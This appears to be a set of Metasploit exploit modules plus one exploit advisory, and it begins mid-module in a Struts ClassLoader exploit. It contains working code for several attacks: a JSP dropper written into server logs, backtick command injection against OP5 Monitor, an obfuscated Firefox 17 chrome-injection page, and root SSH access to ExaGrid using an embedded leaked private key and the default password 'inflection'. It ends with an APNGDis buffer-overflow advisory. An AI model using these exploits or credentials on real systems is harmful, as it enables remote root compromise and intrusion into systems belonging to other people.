<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
    eos

    dropper
  end

  def dump_line(uri, cmd = '')
    res = send_request_cgi({
      'uri'     => uri,
      'encode_params' => false,
      'vars_get' => {
        cmd => ''
      },
      'version' => '1.1',
      'method'  => 'GET'
    })

    res
  end

  def modify_class_loader(opts)

    cl_prefix =
      case datastore['STRUTS_VERSION']
      when '1.x' then "class.classLoader"
      when '2.x' then "class['classLoader']"
      end

    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory"      => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix"         => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix"         => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })

    res
  end

  def check_log_file(hint)
    uri = normalize_uri("/", @jsp_file)

    print_status("Waiting for the server to flush the logfile")

    10.times do |x|
      select(nil, nil, nil, 2)

      # Now make a request to trigger payload
      vprint_status("Countdown #{10-x}...")
      res = dump_line(uri)

      # Failure. The request timed out or the server went away.
      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?

      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
        print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
        return true
      end
    end

    false
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ""
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l=~ /%>/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end

  def create_jsp
    if target['Arch'] == ARCH_JAVA
      jsp = fix(payload.encoded)
    else
      if target['Platform'] == 'win'
        payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
      else
        payload_exe = generate_payload_exe
      end
      payload_file = rand_text_alphanumeric(4 + rand(4))
      jsp = jsp_dropper(payload_file, payload_exe)

      register_files_for_cleanup(payload_file)
    end

    jsp
  end

  def exploit
    if target.name =~ /Remote SMB Resource/
      begin
        Timeout.timeout(datastore['SMB_DELAY']) { super }
      rescue Timeout::Error
        # do nothing... just finish exploit and stop smb server...
      end
    else
      class_loader_exploit
    end
  end

  # Used with SMB targets
  def primer
    self.file_name << '.jsp'
    self.file_contents = payload.encoded
    print_status("JSP payload available on #{unc}...")

    print_status("Modifying Class Loader...")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
      }
    })

    jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
    jsp_shell << "/#{self.file_name}"

    print_status("Accessing JSP shell at #{jsp_shell}...")
    send_request_cgi({
      'uri'     => normalize_uri(jsp_shell),
      'version' => '1.1',
      'method'  => 'GET',
    })
  end

  def class_loader_exploit
    prefix_jsp = rand_text_alphanumeric(3+rand(3))
    date_format = rand_text_numeric(1+rand(4))
    @jsp_file = prefix_jsp + date_format + ".jsp"

    # Modify the Class Loader

    print_status("Modifying Class Loader...")
    properties = {
      :directory      => 'webapps/ROOT',
      :prefix         => prefix_jsp,
      :suffix         => '.jsp',
      :file_date_format => date_format
    }
    res = modify_class_loader(properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end

    # Check if the log file exists and has been flushed

    unless check_log_file(normalize_uri(target_uri.to_s))
      fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
    end

    register_files_for_cleanup(@jsp_file)

    # Prepare the JSP
    print_status("Generating JSP...")
    jsp = create_jsp

    # Dump the JSP to the log file
    print_status("Dumping JSP into the logfile...")
    random_request = rand_text_alphanumeric(3 + rand(3))

    uri = normalize_uri('/', random_request)

    jsp.each_line do |l|
      unless dump_line(uri, l.chomp)
        fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
      end
    end

    # Check log file... enjoy shell!
    check_log_file(random_request)

    # No matter what happened, try to 'restore' the Class Loader
    properties = {
        :directory      => '',
        :prefix         => '',
        :suffix         => '',
        :file_date_format => ''
    }
    modify_class_loader(properties)
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'OP5 welcome Remote Command Execution',
      'Description' => %q{
        This module exploits an arbitrary root command execution vulnerability in
        OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
        5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
      },
      'Author'     => [ 'Peter Osterberg <j[at]vel.nu>' ],
      'License'    => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2012-0262'],
          ['OSVDB', '78065'],
          ['URL', 'http://secunia.com/advisories/47417/'],
        ],
      'Privileged' => true,
      'Payload'    =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'BadChars'    => '`\\|',
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl ruby python',
            }
        },
      'Platform'       => %w{ linux unix },
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 05 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
      ], self.class)
  end

  def check
    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now

    data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)
    elapsed = Time.now - start
    if elapsed >= 5
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    data = 'do=do=Login&password=`' + payload.encoded + '`';

    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 10)

    if(not res)
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'OP5 license.php Remote Command Execution',
      'Description' => %q{
        This module exploits an arbitrary root command execution vulnerability in the
        OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,
        5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
      },
      'Author'     => [ 'Peter Osterberg <j[at]vel.nu>' ],
      'License'    => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2012-0261'],
          ['OSVDB', '78064'],
          ['URL', 'http://secunia.com/advisories/47417/'],
        ],
      'Privileged' => true,
      'Payload'    =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'BadChars'    => '`\\|',
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl ruby python',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 05 2012',
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
        ], self.class)
  end

  def check
    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now

    data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)
    elapsed = Time.now - start
    if elapsed >= 5
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';

    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)

    if(not res)
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
  # include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  # autopwn_info({
  #   :ua_name    => HttpClients::FF,
  #   :ua_minver  => "17.0",
  #   :ua_maxver  => "17.0.1",
  #   :javascript => true,
  #   :rank       => NormalRanking
  # })

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox 17.0.1 Flash Privileged Code Injection',
      'Description'    => %q{
        This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
        the user has installed Flash. No memory corruption is used.
        First, a Flash object is cloned into the anonymous content of the SVG
        "use" element in the <body> (CVE-2013-0758). From there, the Flash object
        can navigate a child frame to a URL in the chrome:// scheme.
        Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
        around the child frame's window reference and inject code into the chrome://
        context. Once we have injection into the chrome execution context, we can write
        the payload to disk, chmod it (if posix), and then execute.
        Note: Flash is used here to trigger the exploit but any Firefox plugin
        with script access should be able to trigger it.
      },
      'License'        => MSF_LICENSE,
      'Targets' => [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Author'         =>
        [
          'Marius Mlynski', # discovery & bug report
          'joev',           # metasploit module
          'sinn3r'          # metasploit fu
        ],
      'References'     =>
        [
          ['CVE', '2013-0758'],  # navigate a frame to a chrome:// URL
          ['CVE', '2013-0757'],  # bypass Chrome Object Wrapper to talk to chrome://
          ['OSVDB', '89019'],  # maps to CVE 2013-0757
          ['OSVDB', '89020'],  # maps to CVE 2013-0758
          ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
        ],
      'DisclosureDate' => 'Jan 08 2013',
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => /17\..*/,
        :flash   => /[\d.]+/
      }
    ))

    register_options(
      [
        OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
        OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
      ], Auxiliary::Timed)

  end

  def on_request_exploit(cli, request, info)
    if request.uri =~ /\.swf$/
      # send Flash .swf for navigating the frame to chrome://
      print_status("Sending .swf trigger.")
      send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
    else
      # send initial HTML page
      print_status("Target selected: #{target.name}")
      print_status("Sending #{self.name}")
      send_response_html(cli, generate_html(cli, target))
    end
  end

  # @return [String] the contents of the .swf file used to trigger the exploit
  def flash_trigger
    swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
    @flash_trigger ||= File.read(swf_path)
  end

  # @return [String] containing javascript that will alert a debug string
  #   if the DEBUG is set to true
  def js_debug(str, quote="'")
    if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
  end

  # @return [String] HTML that is sent in the first response to the client
  def generate_html(cli, target)
    vars = {
      :symbol_id        => 'a',
      :random_domain    => 'safe',
      :payload          => run_payload, # defined in FirefoxPrivilegeEscalation mixin
      :payload_var      => 'c',
      :payload_key      => 'k',
      :payload_obj_var  => 'payload_obj',
      :interval_var     => 'itvl',
      :access_string    => 'access',
      :frame_ref        => 'frames[0]',
      :frame_name       => 'n',
      :loader_path      => "#{get_module_uri}.swf",
      :content          => self.datastore['CONTENT'] || ''
    }
    script = js_obfuscate %Q|
      var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
      var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
      function $() {
        document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
      }
      function _() {
        return '#{vars[:frame_name]}';
      }
      var #{vars[:interval_var]} = setInterval(function(){
        try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
        catch(e){
          clearInterval(#{vars[:interval_var]});
          var p = Object.getPrototypeOf(#{vars[:frame_ref]});
          var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
          Object.prototype.__lookupSetter__("__proto__").call(p, o);
          p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
        }
      }, 100);
      document.querySelector('object').data = "#{vars[:loader_path]}";
      document.querySelector('use').setAttributeNS(
        "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
      );
    |

    %Q|
      <!doctype html>
      <html>
      <head>
        <base href="chrome://browser/content/">
      </head>
      <body>
      <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
        <symbol id="#{vars[:symbol_id]}">
          <foreignObject>
            <object></object>
          </foreignObject>
        </symbol>
        <use />
      </svg>
      <script>
      #{script}
      </script>
      <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
        name="#{vars[:frame_name]}"></iframe>
      #{vars[:content]}
      </body>
      </html>
      |
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(update_info(info, {
      'Name'        => 'ExaGrid Known SSH Key and Default Password',
      'Description' => %q{
        ExaGrid ships a public/private key pair on their backup appliances to
        allow passwordless authentication to other ExaGrid appliances.  Since
        the private key is easily retrievable, an attacker can use it to gain
        unauthorized remote access as root. Additionally, this module will
        attempt to use the default password for root, 'inflection'.
      },
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'  => true,
      'Targets'     => [ [ "Universal", {} ] ],
      'Payload'     =>
        {
          'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
      'Author'      => ['egypt'],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-1560' ], # password
          [ 'CVE', '2016-1561' ], # private key
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
        ],
      'DisclosureDate' => "Apr 07 2016",
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DefaultTarget' => 0
    }))

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end
  def rport
    datastore['RPORT']
  end

  def do_login(ssh_options)
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
      ssh_socket = nil

      return conn
    else
      return false
    end
  end

  # Ghetto hack to prevent the shell detection logic from hitting false
  # negatives due to weirdness with ssh sockets. We already know it's a shell
  # because auth succeeded by this point, so no need to do the check anyway.
  module TrustMeItsAShell
    def _check_shell(*args)
      true
    end
  end

  def exploit
    payload_instance.extend(TrustMeItsAShell)
    factory = ssh_socket_factory

    ssh_options = {
      auth_methods: ['publickey'],
      config: false,
      use_agent: false,
      key_data: [ key_data ],
      port: rport,
      proxy: factory,
      non_interactive:  true
    }
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    conn = do_login(ssh_options)

    unless is_success?(conn, true)
      ssh_options[:auth_methods] = ['password']
      ssh_options[:password] = 'inflection'
      ssh_options.delete(:key_data)
      conn = do_login(ssh_options)
      is_success?(conn, false)
    end
  end

  def is_success?(conn,key_based)
    if conn
      print_good "Successful login"
      service_data = {
        address: rhost,
        port: rport,
        protocol: 'tcp',
        service_name: 'ssh',
        workspace_id: myworkspace_id,
      }
      credential_data = {
        username: 'root',
        private_type: ( key_based ? :ssh_key : :password ),
        private_data: ( key_based ? key_data : 'inflection' ),
        origin_type: :service,
        module_fullname: fullname,
      }.merge(service_data)

      core = create_credential(credential_data)
      login_data = {
        core: core,
        last_attempted: Time.now,
      }.merge(service_data)

      create_credential_login(login_data)

      handler(conn.lsock)
      true
    else
      false
    end
  end

  def key_data
    <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
-----END RSA PRIVATE KEY-----
EOF
  end

end
            
# Exploit Title: APNGDis filename Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6191

Additional analysis:
https://www.onvio.nl/nieuws/cve-2017-6191-apngdis-filename-buffer-overflow

Textbook buffer overflow; a fixed size buffer gets allocated with
szPath[256], and the first command line argument is stored without
validation.


int main(int argc, char** argv)
{
	unsigned int i, j;
	char * szInput;
	char * szOutPrefix;
	char szPath[256];
	char szOut[256];
	std::vector frames;
	printf("\nAPNG Disassembler 2.8\n\n");

	if (argc > 1)
		szInput = argv[1];
	else
	{
		printf("Usage: apngdis anim.png [name]\n");
		return 1;
	}
	strcpy(szPath, szInput);
}




With 'A' * 1000 as argv[1] :


GDB:

Program received signal SIGSEGV, Segmentation fault.
strlen () at ../sysdeps/x86_64/strlen.S:106
106     ../sysdeps/x86_64/strlen.S: No such file or directory.
(gdb) i r
rax            0x4141414141414141       4702111234474983745
rbx            0x7ffff70ea600   140737338320384
rcx            0x141    321
rdx            0x0      0
rsi            0x7fffffffca40   140737488341568
rdi            0x4141414141414141       4702111234474983745
rbp            0x7fffffffceb0   0x7fffffffceb0
rsp            0x7fffffffc948   0x7fffffffc948
r8             0x4141414141414141       4702111234474983745
r9             0x9      9
r10            0x73     115
r11            0x7fffffffce78   140737488342648
r12            0x555555558c9f   93824992251039
r13            0x7fffffffcec8   140737488342728
r14            0x0      0
r15            0xffffffffffffffff       -1
rip            0x7ffff6dd1486   0x7ffff6dd1486 <strlen+38>
eflags         0x10297  [ CF PF AF SF IF RF ]


Valgrind:

==10685== Invalid read of size 1
==10685==    at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
==10685==    by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
==10685==    by 0x5B711F8: printf (printf.c:33)
==10685==    by 0x109F05: load_apng(char*, std::vector<APNGFrame,
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
==10685==    by 0x10B24E: main (apngdis.cpp:498)
==10685==  Address 0x4141414141414141 is not stack'd, malloc'd or
(recently) free'd
==10685==
==10685==
==10685== Process terminating with default action of signal 11 (SIGSEGV)
==10685==  General Protection Fault
==10685==    at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
==10685==    by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
==10685==    by 0x5B711F8: printf (printf.c:33)
==10685==    by 0x109F05: load_apng(char*, std::vector<APNGFrame,
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
==10685==    by 0x10B24E: main (apngdis.cpp:498)
Reading '==10685==
==10685== HEAP SUMMARY:
==10685==     in use at exit: 0 bytes in 0 blocks
==10685==   total heap usage: 2 allocs, 2 frees, 73,728 bytes allocated
==10685==
==10685== All heap blocks were freed -- no leaks are possible